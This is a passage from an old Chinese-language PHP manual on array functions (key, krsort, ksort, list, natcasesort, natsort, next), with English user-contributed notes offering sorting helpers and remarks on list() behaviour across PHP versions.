/* isset($myArray[1]) return false;  */
/* is_null($myArray[1]) return true;  */

function KeyName($myArray,$pos) {
   // $pos--;
   /* uncomment the above line if you */
   /* prefer position to start from 1 */

   if ( ($pos < 0) || ( $pos >= count($myArray) ) )
         return "NULL";  // set this any way you like

   reset($myArray);
   for($i = 0;$i < $pos; $i++) next($myArray);

   return key($myArray);
}

echo KeyName($myArray,1);  // result: name2
echo KeyName($myArray,2);  // result: name3
echo KeyName($myArray,3);  // result: "NULL"
?>

You can get any existing "key name" from array that is located at position $pos gived as second parameter. If no element is defined at given position the function will return the string "NULL".
happy dot machine at skynet dot be
07-May-2003 02:20
$tab = array();
$tab[0] = 'php';
$tab[1] = '.';
$tab[2] = 'net';

// you will not enter the while
// $key = 0, while will consider $key as false
reset($tab);
while ($key = key($tab) ) {
echo $tab[$key];
next($tab);
}

// this will
reset($tab);
while (!is_null($key = key($tab) ) ) {
echo $tab[$key];
next($tab);
}

// when key() can't return a 'key', it return NULL
echo var_dump($key);
shimon_d at hotmail dot com
25-Jan-2003 04:39
make array[a][b]
be    array[b][a]

function invertarray($a)
{
 $o=array();
 foreach($a as $k => $aa)
 {
  foreach($aa as $k1 => $v)
  {
   if(!isset($o[$k1]))$o[$k1]=array();
   $o[$k1][$k]=$v;
  }
 }
 return $o;
}
kajetan at kajetan dot nu
05-Jul-2002 04:20
I'm writing a forum and use an array to hold all the smiles. The keys in the array are the characters to write to get a smiley, and the data is the filename, like this
$Smiles[':-)'] = 'smile.gif'

To output all the smileys in a table with 3 columns, I wrote this code:

$the_end = false;

$s = reset($Smiles);
$k = key($Smiles);

while(!$the_end){
   echo '<tr>';
   for($i=0; $i<3; $i++){
       echo '<td>';
       if($the_end) echo '&nbsp;';
       else{
       echo $k.'< br><img src="'. $s .'">';
         $s = next($Smiles);
       if ($s==false) $the_end=true;
       else
           $k = key($Smiles);
       }
       echo "</td>\n";
   }
   echo "</tr>\n";
}

I had to write a space in the < br> tag in the code above, because the board did a line brake otherwise.
04-Jun-2002 08:13
$input_array = array("FirSt" => 1, "SecOnd" => 4);
print_r(array_change_key_case($input_array, CASE_UPPER));
mkeller at gmx dot de
12-Oct-2001 03:46
In the case key() does not give you back the key(myarray) but "0", try this:
(Try this example without the line containing "end($myarray)" and you see my reason for this post...)

for($i = 0; $i <= 10; $i++) {
       $myarray[] = 'content '.$i;
       end($myarray);
       echo ('<br>key()='.key($myarray).' , content='.$myarray[$i]);
   }
php at snr-graphics dot com
24-Mar-2001 03:50
A Method of Multi-Dimensionalizing an Associative Array (This idea was designed with Graphics (image filenames in mind):

(A quick overview):
While working on a rather large web application, I found that I needed a way to obtain "all" the details on images used by the application, these images (by filename) were stored in the configuration file, in the form of associative arrays.

The following represents an example of how I tool those and converted them into multi-dimensional associative arrays.

<code sample begin>
do {
  $size = getImageSize($path.$myarray[key($myarray)]);
  if ($size[2] == '1') { $size[2] = 'gif'; }
  else if ($size[2] == '2') { $size[2] = 'jpg'; }
  else if ($size[2] == '3') { $size[2] = 'png'; }
  else if ($size[2] == '4') { $size[2] = 'swf'; }
  else { $size[2] = 'UNKNOWN'; }
$myarray[key($myarray)] = Array($myarray[Key($myarray)],$size[0],$size[1],$size[2],$size[3]);
} while (next($myarray));
</end code sample>

The end result is an multi-dim. associative array which contains the values:

$myarray["this"][0] = filename.gif
$myarray["this"][1] = width
$myarray["this"][2] = height
$myarray["this"][3] = type (converted to the file extension.)
$myarray["this"][4] = height=x width=x

This may not be all that impressive to some, but it turned out to be very useful for me, so I thought I'd share, in addition, I think it gives a "very" good example of "a use" for the Key() function.

Frankly, I was quite happy to discover this function, I can't count the number of times I "needed to use the key as a value".

I hope you find this code useful.
add a note add a note

后退 | 起点 | 前进
in_array | 上一级 | krsort


krsort

(PHP 3 >= 3.0.13, PHP 4, PHP 5)

krsort -- 对数组按照键名逆向排序

说明

bool krsort ( array &array [, int sort_flags] )

对数组按照键名逆向排序，保留键名到数据的关联。主要用于结合数组。

如果成功则返回 TRUE，失败则返回 FALSE。

例子 1. krsort() 例子

<?php
$fruits = array("d"=>"lemon", "a"=>"orange", "b"=>"banana", "c"=>"apple");
krsort($fruits);
foreach ($fruits as $key => $val) {
    echo "$key = $val\n";
}
?>

上例将输出：

d = lemon
c = apple
b = banana
a = orange

可以用可选参数 sort_flags 改变排序的行为，详情见 sort()。

参见 asort()，arsort()，ksort()，sort()，natsort() 和 rsort()。

add a note add a note User Contributed Notes
08-Aug-2005 09:37
To create a natural reverse sorting by keys, use the following function:

<?php
function natkrsort($array)
{
   $keys = array_keys($array);
   natsort($keys);

   foreach ($keys as $k)
   {
       $new_array[$k] = $array[$k];
   }

   $new_array = array_reverse($new_array, true);

   return $new_array;
}
?>
peter at pmkmedia dot com
08-Nov-2003 05:51
Best deal sorting:

This is a function that will sort an array with integer keys (weight) and float values (cost) and delete 'bad deals' - entries that are more costly than other entries that have greater or equal weight.

Input: an array of unsorted weight/cost pairs
Output: none

function BEST_DEALS($myarray)
{  // most weight for least cost:
   //  Peter Kionga-Kamau, http://www.pmkmedia.com
   // thanks to Nafeh for the reversal trick
   // free for unrestricted use.
   krsort($myarray, SORT_NUMERIC);
   while(list($weight, $cost) = each($myarray))
   {  // delete bad deals, retain best deals:
       if(!$lastweight)
       {
           $lastweight=$weight;
           $lastcost = $cost;
       }
       else if($cost >= $lastcost) unset($myarray[$weight]);
       else
       {
           $lastweight=$weight;
           $lastcost = $cost;
       }
   }
   ksort($myarray);
}
lolo at phpheaven dot net
29-Nov-2000 04:33
If you want to emulate the krsort function for an older version of php, you can use this piece of code:

function KeyComp($a, $b)
{
  return -(strcmp($a,$b));
}

function krsort($MyArray)
{
  uksort($MyArray, "KeyComp");
}

Maybe obvious and useless, but who knows...
add a note add a note

后退 | 起点 | 前进
key | 上一级 | ksort


ksort

(PHP 3, PHP 4, PHP 5)

ksort -- 对数组按照键名排序

说明

bool ksort ( array &array [, int sort_flags] )

对数组按照键名排序，保留键名到数据的关联。本函数主要用于关联数组。

如果成功则返回 TRUE，失败则返回 FALSE。

例子 1. ksort() 例子

<?php
$fruits = array("d"=>"lemon", "a"=>"orange", "b"=>"banana", "c"=>"apple");
ksort($fruits);
foreach ($fruits as $key => $val) {
    echo "$key = $val\n";
}
?>

上例将输出：

a = orange
b = banana
c = apple
d = lemon

可以用可选参数 sort_flags 改变排序的行为，详情见 sort()。

参见 asort()，arsort()，krsort()，uksort()，sort()，natsort() 和 rsort()。

注: 第二个参数是 PHP 4 新加的。

add a note add a note User Contributed Notes
richard dot quadling at bandvulc dot co dot uk
24-Oct-2005 04:10
Just to complete the comments made by ssb45.

If the supplied array is an empty array, the value returned is NOT an array.

All that is required is to pre-initialize the result.

function natksort(&$aToBeSorted)
   {
   $aResult = array();
   $aKeys = array_keys($aToBeSorted);
   natcasesort($aKeys);
   foreach ($aKeys as $sKey)
       {
       $aResult[$sKey] = $aToBeSorted[$sKey];
       }
   $aToBeSorted = $aResult;
   return True;
   }
ssb45 at cornell dot edu
30-Jun-2005 07:58
The function that justin at booleangate dot org provides works well, but be aware that it is not a drop-in replacement for ksort as is.  While ksort sorts the array by reference and returns a status boolean, natksort returns the sorted array, leaving the original untouched.  Thus, you must use this syntax:

$array = natksort($array);

If you want to use the more natural syntax:

$status = natksort($array);

Then use this modified version:

function natksort(&$array) {
   $keys = array_keys($array);
   natcasesort($keys);

   foreach ($keys as $k) {
       $new_array[$k] = $array[$k];
   }

   $array = $new_array;
   return true;
}
justin at booleangate dot org
18-Jan-2005 05:04
Here's a handy function for natural order sorting on keys.

function natksort($array) {
  // Like ksort but uses natural sort instead
  $keys = array_keys($array);
  natsort($keys);

  foreach ($keys as $k)
   $new_array[$k] = $array[$k];

  return $new_array;
}
yaroukh at email dot cz
06-May-2004 11:08
I believe documentation should mention which of array-functions do reset the internal pointer; this one does so ...
pedromartinez at alquimiapaginas dot com
29-Nov-2003 11:58
A list of directories can be listed sorted by date (newer first) with this script. This is usefull if the directories contain (for example) pictures and you want the newer to appear first.

$maindir = "." ;
$mydir = opendir($maindir) ;

// SORT
$directorios = array();
while (false !== ($fn = readdir($mydir)))
{
   if (is_dir($fn) && $fn != "." && $fn != "..")
   {
       $directory = getcwd()."/$fn";
       $key = date("Y\-m\-d\-His ", filectime($directory));
       $directorios[$key] = $directory;
   }
}

ksort($directorios);
$cronosdir = array();
$cronosdir = array_reverse($directorios);

while (list($key, $directory) = each($cronosdir)) {
   echo "$key = $directory<bR>";
}

Pedro
09-Mar-2002 11:09
here 2 functions to ksort/uksort an array and all its member arrays

function tksort(&$array)
  {
  ksort($array);
  foreach(array_keys($array) as $k)
   {
   if(gettype($array[$k])=="array")
     {
     tksort($array[$k]);
     }
   }
  }

function utksort(&$array, $function)
  {
  uksort($array, $function);
  foreach(array_keys($array) as $k)
   {
   if(gettype($array[$k])=="array")
     {
     utksort($array[$k], $function);
     }
   }
  }
delvach at mail dot com
07-Nov-2001 05:29
A real quick way to do a case-insensitive sort of an array keyed by strings:

uksort($myArray, "strnatcasecmp");
sbarnum at mac dot com
20-Oct-2001 06:54
ksort on an array with negative integers as keys yields some odd results.  Not sure if this is a bad idea (negative key values) or what.
add a note add a note

后退 | 起点 | 前进
krsort | 上一级 | list


list

(PHP 3, PHP 4, PHP 5)

list -- 把数组中的值赋给一些变量

说明

void list ( mixed varname, mixed ... )

像 array() 一样，这不是真正的函数，而是语言结构。list() 用一步操作给一组变量进行赋值。

注: list() 仅能用于数字索引的数组并假定数字索引从 0 开始。

例子 1. list() 例子

<?php

$info = array('coffee', 'brown', 'caffeine');

// Listing all the variables
list($drink, $color, $power) = $info;
echo "$drink is $color and $power makes it special.\n";

// Listing some of them
list($drink, , $power) = $info;
echo "$drink has $power.\n";

// Or let's skip to only the third one
list( , , $power) = $info;
echo "I need $power!\n";

?>

例子 2. 使用 list() 的例子

<table>
<tr>
  <th>Employee name</th>
  <th>Salary</th>
</tr>

<?php

$result = mysql_query("SELECT id, name, salary FROM employees",$conn);
while (list($id, $name, $salary) = mysql_fetch_row($result)) {
    echo " <tr>\n".
         "  <td><a href=\"info.php?id=$id\">$name</a></td>\n".
         "  <td>$salary</td>\n".
         " </tr>\n";
}

?>

</table>

警告

list() 从最右边一个参数开始赋值。如果你用单纯的变量，不用担心这一点。但是如果你用了具有索引的数组，通常你期望得到的结果和在 list() 中写的一样是从左到右的，但实际上不是。是以相反顺序赋值的。

例子 3. 在 list() 中使用数组索引

<?php
$info = array('coffee', 'brown', 'caffeine');
list($a[0], $a[1], $a[2]) = $info;
var_dump($a);
?>

产生如下输出（注意单元顺序和 list() 语法中所写的顺序的比较）：

array(3) {
  [2]=>
  string(8) "caffeine"
  [1]=>
  string(5) "brown"
  [0]=>
  string(6) "coffee"
}

参见 each()，array() 和 extract()。

add a note add a note User Contributed Notes
ergalvan at bitam dot com
05-May-2006 02:29
With regard to the note written by dolan at teamsapient dot com:

You must take note that list() assigns variables starting from the rightmost one (as stated in the warning). That makes $record having the value "value4" and then $var1, $var2 and $var3 take their values from the "new" $record variable.

It's clear that the behavior stated in the warning wasn't followed by version 5.0.4 (and perhaps previous versions?)
dolan at teamsapient dot com
07-Apr-2006 02:08
I noticed w/ version 5.1.2, the behavior of list() has changed (this occurred at some point between version 5.0.4 and 5.1.2).  When re-using a variable name in list() that list() is being assigned to, instead of the values being assigned all at once, the reused variable gets overwritten before all the values are read.

Here's an example:
** disclaimer: obviously this is sloppy code, but I want to point out the behavior change (in case anyone else comes across similar code) **

<?
$data = array();
$data[] = array("value1", "value2", "value3", "value4");
$data[] = array("value1", "value2", "value3", "value4");
$data[] = array("value1", "value2", "value3", "value4");
$data[] = array("value1", "value2", "value3", "value4");

foreach($data as $record)
{
   list($var1, $var2, $var3, $record) = $record;
   echo "var 1: $var1, var 2: $var2, var 3: $var3, record: $record\\n";
}
?>

OUTPUT on version 5.0.4:
var 1: value1, var 2: value2, var 3: value3, record: value4
var 1: value1, var 2: value2, var 3: value3, record: value4
var 1: value1, var 2: value2, var 3: value3, record: value4
var 1: value1, var 2: value2, var 3: value3, record: value4

OUTPUT on version 5.1.2:
var 1: v, var 2: a, var 3: l, record: value4
var 1: v, var 2: a, var 3: l, record: value4
var 1: v, var 2: a, var 3: l, record: value4
var 1: v, var 2: a, var 3: l, record: value4
mzizka at hotmail dot com
03-Jan-2006 12:49
Elements on the left-hand side that don't have a corresponding element on the right-hand side will be set to NULL. For example,

<?php
$y = 0;
list($x, $y) = array("x");
var_dump($x);
var_dump($y);
?>

Results in:

string(1) "x"
NULL
Nearsighted
25-Jul-2005 10:34
list, coupled with while, makes for a handy way to populate arrays.

while (list($repcnt[], $replnk[], $date[]) = mysql_fetch_row($seek0))
{
// insert what you want to do here.
}

PHP will automatically assign numerical values for the array because of the [] signs after the variable.

From here, you can access their row values by array numbers.

eg.

for ($i=0;$i<$rowcount;$i++)
{
echo "The title number $repcnt[$i] was written on $date[$i].";
}
webmaster at miningstocks dot com
01-Jun-2005 02:05
One way to use the list function with non-numerical keys is to use the array_values() function

<?php
$array = array ("value1" => "one", "value2" => "two");
list ($value1, $value2) = array_values($array);
?>
php at keithtyler dot com
13-May-2005 05:27
Note to perl programmers, this does NOT work like Perl's anonymous-list technique. It will discard any elements on the right hand side that do not have a corresponding recipient value on the left hand side.

In Perl, you can put an array at the end of the list, and it will pick up all remaining elements from the right hand of the assignment.

($val1,$val2,@others)=array("a","b","c","d","e")

will result in $val1="a", $val2="b", and @others=("c","d","e").

This cannot seem to be done in PHP, even if you declare the array beforehand:

$others=Array();
list($val1,$val2,$others)=array("a","b","c","d","e")

will result in $val1="a", $val2="b", and $others="c". Note also that $others is redefined as whatever type the right-hand side value was, and is no longer an Array.

This is in 4.3.11.
mortoray at ecircle-ag dot com
16-Feb-2005 05:29
There is no way to do reference assignment using the list function, therefore list assignment is will always be a copy assignment (which is of course not always what you want).

By example, and showing the workaround (which is to just not use list):

   function &pass_refs( &$a ) {
       return array( &$a );
   }

   $a = 1;
   list( $b ) = pass_refs( $a ); //*
   $a = 2;
   print( "$b" ); //prints 1

   $ret = pass_refs( $a );
   $b =& $ret[0];
   $a = 3;
   print( "$b" ); //prints 3

*This is where some syntax like the following would be desired:
   list( &$b ) = pass_refs( $a );
or maybe:
   list( $b ) =& pass_refs( $a );
jennevdmeer at zonnet dot nl
21-Oct-2004 11:29
This is a function simulair to that of 'list' it lists an array with the 'key' as variable name and then those variables contain the value of the key in the array.
This is a bit easier then list in my opinion since you dont have to list up all variable names and it just names them as the key.

<?php
 function lista($a) {
  foreach ($a as $k => $v) {
   $s = "global \$".$k;
   eval($s.";");
   $s = "\$".$k ." = \"". $v."\"";
   eval($s.";");
  }
 }
?>
HW
15-Aug-2004 04:08
The list() construct can be used within other list() constructs (so that it can be used to extract the elements of multidimensional arrays):
<?php
$matrix = array(array(1,2),
               array(3,4));

list(list($tl,$tr),list($bl,$br)) = $matrix;

echo "$tl $tr $bl $br";
?>
Outputs "1 2 3 4".
jeronimo at DELETE_THIS dot transartmedia dot com
29-Jan-2004 11:28
If you want to swap values between variables without using an intermediary, try using the list() and array() language constructs. For instance:

<?

// Initial values.
$biggest = 1;
$smallest = 10;

// Instead of using a temporary variable...
$temp = $biggest;
$biggest = $smallest;
$smallest = $temp;

// ...Just swap the values.
list($biggest, $smallest) = array($smallest, $biggest);

?>

This works with any number of variables; you're not limited to just two.
Cheers,
Jeronimo
rubein at earthlink dot net
29-Dec-2000 09:15
Note: If you have an array full of arrays, you can't use list() in conjunction to foreach() when traversing said array, e.g.

$someArray = array(
  array(1, "one"),
  array(2, "two"),
  array(3, "three")
);

foreach($somearray as list($num, $text)) { ... }

This, however will work

foreach($somearray as $subarray) {
  list($num, $text) = $subarray;
  ...
}
add a note add a note

后退 | 起点 | 前进
ksort | 上一级 | natcasesort


natcasesort

(PHP 4, PHP 5)

natcasesort -- 用“自然排序”算法对数组进行不区分大小写字母的排序

说明

bool natcasesort ( array &array )

本函数实现了一个和人们通常对字母数字字符串进行排序的方法一样的排序算法并保持原有键／值的关联，这被称为“自然排序”。

如果成功则返回 TRUE，失败则返回 FALSE。

natcasesort() 是 natsort() 函数的不区分大小写字母的版本。

例子 1. natcasesort() 例子

<?php
$array1 = $array2 = array('IMG0.png', 'img12.png', 'img10.png', 'img2.png', 'img1.png', 'IMG3.png');

sort($array1);
echo "Standard sorting\n";
print_r($array1);

natcasesort($array2);
echo "\nNatural order sorting (case-insensitive)\n";
print_r($array2);
?>

上例将输出：

Standard sorting
Array
(
    [0] => IMG0.png
    [1] => IMG3.png
    [2] => img1.png
    [3] => img10.png
    [4] => img12.png
    [5] => img2.png
)

Natural order sorting (case-insensitive)
Array
(
    [0] => IMG0.png
    [4] => img1.png
    [3] => img2.png
    [5] => IMG3.png
    [2] => img10.png
    [1] => img12.png
)

更多信息见 Martin Pool 的 Natural Order String Comparison 页面。

参见 sort()，natsort()，strnatcmp() 和 strnatcasecmp()。

add a note add a note User Contributed Notes
14-Jan-2005 12:47
With natsort() "_blah.txt" comes before "blah.txt", but with natcasesort() "_blah.txt" comes AFTER "blah.txt". In both cases all the letters are lowercase, so natcasesort() is obviously more than just a case-insensitive version of natsort(). Beware of such bugs.
php at method5 dot de
07-Nov-2003 02:56
hi all,
this is my first post at php.net first of all thank you for this huge site :)

ok i found it usefull to post this for others. in the german language we have words like '  ' its called "umlaute" and it was a problem to me to "naturally" sort an huge array correctly so i coded this small block to get me helped, if anyone has an better idea please post and let us know as i am not a real crack :)

1. change each "umlaut" () into its "nearest" equivalent
2. natcasesorting it naturally
3. re-assiging the correct sorted array with the original-words again while keeping track of the KEY...

example-array:
$aSupplier = array(3 => "MAN",2 => "Atlas",16 => "Chevrolet",17 => "Chrysler",19 => "Citroen",24 => "DAF",25 => "Daihatsu",27 => "Daewoo",28 => "Demag",30 => "Dodge",36 => "Schierling",208 => "HIAB",38 => "Hffermann",39 => "Gergen",40 => "Kubato",41 => "Faun",43 => "Kleindienst",44 => "Swing",45 => "Neuhaus",46 => "Unimog",47 => "Meiller",48 => "Pfau-Johnston",49 => "Geesink",50 => "Schrling",51 => "Demag-Witting",53 => "Helmers",54 => "Ellermann",55 => "Jacobsen",56 => "Biki",57 => "Hansa",58 => "Kramer",59 => "Schmitz",60 => "Toro",61 => "Iseki",62 => "Haller",63 => "Kuka",64 => "Brock",65 => "Ambross",66 => "Sobernheimer",67 => "Pietsch",68 => "Kpper",69 => "Weisser",71 => "Wackenhut");

foreach ( $aSupplier as $key => $value )
{
   $aSupplier2[$key] = strtr($aSupplier[$key], "", "AOUaous");
}

natcasesort($aSupplier2);

foreach ( $aSupplier2 as $key => $value )
{
  if ( $aSupplier2[$key] != "" )
   $aSupplier3[$key] = $aSupplier[$key];
}

echo "<pre>";
print_r($aSupplier3);
echo "</pre>";

greetz
tim
vbAlexDOSMan at Yahoo dot com
12-Sep-2003 04:21
Ulli at Stemmeler dot net:  I remade your function -- it's a little more compact now -- Enjoy...

function ignorecasesort(&$array) {

  /*Make each element it's lowercase self plus itself*/
  /*(e.g. "MyWebSite" would become "mywebsiteMyWebSite"*/
  for ($i = 0; $i < sizeof($array); $array[$i] = strtolower($array[$i]).$array[$i], $i++);

  /*Sort it -- only the lowercase versions will be used*/
  sort($array);

  /*Take each array element, cut it in half, and add the latter half to a new array*/
  /*(e.g. "mywebsiteMyWebSite" would become "MyWebSite")*/
  for ($i = 0; $i < sizeof($array); $i++) {
   $this = $array[$i];
   $array[$i] = substr($this, (strlen($this)/2), strlen($this));
  }
}
dslicer at maine dot rr dot com
03-Jun-2003 09:41
Something that should probably be documented is the fact that both natsort and natcasesort maintain the key-value associations of the array. If you natsort a numerically indexed array, a for loop will not produce the sorted order; a foreach loop, however, will produce the sorted order, but the indices won't be in numeric order. If you want natsort and natcasesort to break the key-value associations, just use array_values on the sorted array, like so:

natcasesort($arr);
$arr = array_values($arr);
tmiller25 at hotmail dot com
26-Apr-2002 10:55
add this loop to the function above if you want items which have the same first characters to be listed in a way that the shorter string comes first.
--------------------
  /* short before longer (e.g. 'abc' should come before 'abcd') */
  for($i=count($array)-1;$i>0;$i--) {
   $str_a = $array[$i  ];
   $str_b = $array[$i-1];
   $cmp_a = strtolower(substr($str_a,0,strlen($str_a)));
   $cmp_b = strtolower(substr($str_b,0,strlen($str_a)));
   if ($cmp_a==$cmp_b && strlen($str_a)<strlen($str_b)) {
     $array[$i]=$str_b; $array[$i-1]=$str_a; $i+=2;
   }
  }
--------------------
Ulli at Stemmeler dot net
06-Apr-2002 12:01
natcasesort didn't work first time I needed something like this.
Not on my local server, not on my server on the web.
I needed an array sorted ignoring upper and lower cases. In the end lower case array-members stayed at the end of the array.

I replaced it with this function:
---------
function ignorecasesort(&$array) {
$separator="|<>|";
for($i=0;$i<sizeof($array);$i++) { $array[$i]=strtolower($array[$i]).$separator.$array[$i]; }
sort($array);
for($i=0;$i<sizeof($array);$i++) { $this=$array[$i]; $this=explode($separator,$this); $array[$i]=$this[1]; }
}
---------
add a note add a note

后退 | 起点 | 前进
list | 上一级 | natsort


natsort

(PHP 4, PHP 5)

natsort -- 用“自然排序”算法对数组排序

说明

bool natsort ( array &array )

本函数实现了一个和人们通常对字母数字字符串进行排序的方法一样的排序算法并保持原有键／值的关联，这被称为“自然排序”。本算法和通常的计算机字符串排序算法（用于 sort()）的区别见下面示例。

如果成功则返回 TRUE，失败则返回 FALSE。

例子 1. natsort() 例子

<?php
$array1 = $array2 = array("img12.png", "img10.png", "img2.png", "img1.png");

sort($array1);
echo "Standard sorting\n";
print_r($array1);

natsort($array2);
echo "\nNatural order sorting\n";
print_r($array2);
?>

上例将输出：

Standard sorting
Array
(
    [0] => img1.png
    [1] => img10.png
    [2] => img12.png
    [3] => img2.png
)

Natural order sorting
Array
(
    [3] => img1.png
    [2] => img2.png
    [1] => img10.png
    [0] => img12.png
)

更多信息见 Martin Pool 的 Natural Order String Comparison 页面。

参见 natcasesort()，strnatcmp() 和 strnatcasecmp()。

add a note add a note User Contributed Notes
nissar_pa at yahoo dot com
04-May-2006 10:50
Here is the program which will sort an array key in natural order and maintains key to data correlations

function natSortKey(&$arrIn)
{
   $key_array = array();
   $arrOut = array();

   foreach ( $arrIn as $key=>$value ) {
       $key_array[]=$key;
   }
  natsort( $key_array);
  foreach ( $key_array as $key=>$value ) {
     $arrOut[$value]=$arrIn[$value];
  }
  $arrIn=$arrOut;

}

Thanks,
Abdul Nissar
12-Mar-2006 11:44
The last comment should have been posted in doc about (r)sort( ). Indeed, and unfortunately, ORDER BY *does not* perform natural ordering. So, sometimes we *must* do a SQL request followed by natsort( ).
h3
23-Feb-2006 12:59
This function can be very usefull, but in some cases, like if you want to sort a MySQL query result, it's important to keep in mind that MySQL as built'in sorting functions which are way faster than resorting the result using a complex php algorythm, especially with large arrays.

ex; 'SELECT * FROM `table` ORDER BY columnName ASC, columnName2 DESC'
lil at thedreamersmaze dot spam-me-not dot org
01-Feb-2006 12:38
There's one little thing missing in this useful bit of code posted by mbirth at webwriters dot de:

<?php

function natsort2d(&$aryInput) {
  $aryTemp = $aryOut = array();
  foreach ($aryInput as $key=>$value) {
   reset($value);
   $aryTemp[$key]=current($value);
  }
  natsort($aryTemp);
  foreach ($aryTemp as $key=>$value) {
   $aryOut[$key] = $aryInput[$key];
// --------^^^^ add this if you want your keys preserved!
  }
  $aryInput = $aryOut;
}

?>
natcasesort.too
05-Aug-2005 06:17
I got caught out through naive use of this feature - attempting to sort a list of image filenames from a digital camera, where the filenames are leading zero padded (e.g. DSCF0120.jpg) , will not sort correctly.
Maybe the example could be modified to exhibit this behaviour
(e.g. set array to -img0120.jpg','IMG0.png', 'img0012.png', 'img10.png', 'img2.png', 'img1.png', 'IMG3.png)
If the example hadn't used images I would have coded it correctly first time around!
mroach at mroach dot com
28-Jun-2005 12:08
Here's an expansion of the natsort2d function that mbirth wrote. This one allows you to specify the key for sorting.

<?php
function natsort2d( &$arrIn, $index = null )
{

   $arrTemp = array();
   $arrOut = array();

   foreach ( $arrIn as $key=>$value ) {

       reset($value);
       $arrTemp[$key] = is_null($index)
                           ? current($value)
                           : $value[$index];
   }

   natsort($arrTemp);

   foreach ( $arrTemp as $key=>$value ) {
       $arrOut[$key] = $arrIn[$key];
   }

   $arrIn = $arrOut;

}

?>
phpnet at moritz-abraham dot de
03-Sep-2004 05:09
additional to the code posted by justin at redwiredesign dot com (which I found very usefull) here is a function that sorts complex arrays like this:
<?
$array['test0'] = array('main' =>  'a', 'sub' => 'a');
$array['test2'] = array('main' =>  'a', 'sub' => 'b');
$array['test3'] = array('main' =>  'b', 'sub' => 'c');
$array['test1'] = array('main' =>  'a', 'sub' => 'c');
$array['test4'] = array('main' =>  'b', 'sub' => 'a');
$array['test5'] = array('main' =>  'b', 'sub' => 'b');
?>
or
<?
$array[0] = array('main' =>  1, 'sub' => 1);
$array[2] = array('main' =>  1, 'sub' => 2);
$array[3] = array('main' =>  2, 'sub' => 3);
$array[1] = array('main' =>  1, 'sub' => 3);
$array[4] = array('main' =>  2, 'sub' => 1);
$array[5] = array('main' =>  2, 'sub' => 2);
?>
on one or more columns.

the code
<? $array = array_natsort_list($array,'main','sub'); ?>
will result in $array being sortet like this:
test0,test2,test1,test4,test5,test3
or
0,2,1,4,5,3.

you may even submit more values to the function as it uses a variable parameter list. the function starts sorting on the last and the goes on until the first sorting column is reached.

to me it was very usefull for sorting a menu having submenus and even sub-submenus.

i hope it might help you too.

here is the function:
<?
function array_natsort_list($array) {
   // for all arguments without the first starting at end of list
   for ($i=func_num_args();$i>1;$i--) {
       // get column to sort by
       $sort_by = func_get_arg($i-1);
       // clear arrays
       $new_array = array();
       $temporary_array = array();
       // walk through original array
       foreach($array as $original_key => $original_value) {
           // and save only values
           $temporary_array[] = $original_value[$sort_by];
       }
       // sort array on values
       natsort($temporary_array);
       // delete double values
       $temporary_array = array_unique($temporary_array);
       // walk through temporary array
       foreach($temporary_array as $temporary_value) {
           // walk through original array
           foreach($array as $original_key => $original_value) {
               // and search for entries having the right value
               if($temporary_value == $original_value[$sort_by]) {
                   // save in new array
                   $new_array[$original_key] = $original_value;
               }
           }
       }
       // update original array
       $array = $new_array;
   }
   return $array;
}
?>
xlab AT adaptiveNOSPAMarts DOT net
16-Jan-2004 04:51
Under limited testing, natsort() appears to work well for IP addresses. For my needs, it is far less code than the ip2long()/long2ip() conversion I was using before.
mbirth at webwriters dot de
10-Jan-2004 04:31
For those who want to natsort a 2d-array on the first element of each sub-array, the following few lines should do the job.

<?php

function natsort2d(&$aryInput) {
  $aryTemp = $aryOut = array();
  foreach ($aryInput as $key=>$value) {
   reset($value);
   $aryTemp[$key]=current($value);
  }
  natsort($aryTemp);
  foreach ($aryTemp as $key=>$value) {
   $aryOut[] = $aryInput[$key];
  }
  $aryInput = $aryOut;
}

?>
rasmus at flajm dot com
15-Dec-2003 01:30
To make a reverse function, you can simply:

function rnatsort(&$a){
   natsort($a);
   $a = array_reverse($a, true);
}
justin at redwiredesign dot com
23-Aug-2003 01:10
One of the things I've needed to do lately is apply natural sorting to a complex array, e.g.:

Array
(
   [0] => Array
       (
           [ID] = 4
           [name] = Fred
       )

   [1] => Array
       (
           [ID] = 6
           [name] = Bob
       )
)

where I want to sort the parent array by the child's name. I couldn't see a way of doing this using array_walk, so I've written a simple function to do it. Hopefully someone will find this useful:

/**
 * @return Returns the array sorted as required
 * @param $aryData Array containing data to sort
 * @param $strIndex Name of column to use as an index
 * @param $strSortBy Column to sort the array by
 * @param $strSortType String containing either asc or desc [default to asc]
 * @desc Naturally sorts an array using by the column $strSortBy
 */
function array_natsort($aryData, $strIndex, $strSortBy, $strSortType=false)
{
   //    if the parameters are invalid
   if (!is_array($aryData) || !$strIndex || !$strSortBy)
       //    return the array
       return $aryData;

   //    create our temporary arrays
   $arySort = $aryResult = array();

   //    loop through the array
   foreach ($aryData as $aryRow)
       //    set up the value in the array
       $arySort[$aryRow[$strIndex]] = $aryRow[$strSortBy];

   //    apply the natural sort
   natsort($arySort);

   //    if the sort type is descending
   if ($strSortType=="desc")
       //    reverse the array
       arsort($arySort);

   //    loop through the sorted and original data
   foreach ($arySort as $arySortKey => $arySorted)
       foreach ($aryData as $aryOriginal)
           //    if the key matches
           if ($aryOriginal[$strIndex]==$arySortKey)
               //    add it to the output array
               array_push($aryResult, $aryOriginal);

   //    return the return
   return $aryResult;
}
flash at minet dot net
13-Aug-2003 01:27
About the reverse natsort.. Maybe simpler to do :

function strrnatcmp ($a, $b) {
   return strnatcmp ($b, $a);
}
dslicer at maine dot rr dot com
03-Jun-2003 09:41
Something that should probably be documented is the fact that both natsort and natcasesort maintain the key-value associations of the array. If you natsort a numerically indexed array, a for loop will not produce the sorted order; a foreach loop, however, will produce the sorted order, but the indices won't be in numeric order. If you want natsort and natcasesort to break the key-value associations, just use array_values on the sorted array, like so:

natsort($arr);
$arr = array_values($arr);
anonymous at coward dot net
31-May-2003 04:46
Reverse Natsort:

  function rnatsort($a, $b) {
   return -1 * strnatcmp($a, $b);
  }

  usort($arr, "rnatsort");
add a note add a note

后退 | 起点 | 前进
natcasesort | 上一级 | next


next

(PHP 3, PHP 4, PHP 5)

next -- 将数组中的内部指针向前移动一位

说明

mixed next ( array &array )

返回数组内部指针指向的下一个单元的值，或当没有更多单元时返回 FALSE。

next() 和 current() 的行为类似，只有一点区别，在返回值之前将内部指针向前移动一位。这意味着它返回的是下一个数组单元的值并将数组指针向前移动了一位。如果移动指针的结果是超出了数组单元的末端，则 next() 返回 FALSE。

警告

如果数组包含空的单元，或者单元的值是 0 则本函数碰到这些单元也返回 FALSE。要正确遍历可能含有空单元或者单元值为 0 的数组，参见 each() 函数。

例子 1. next() 及相关函数的用法示例

<?php
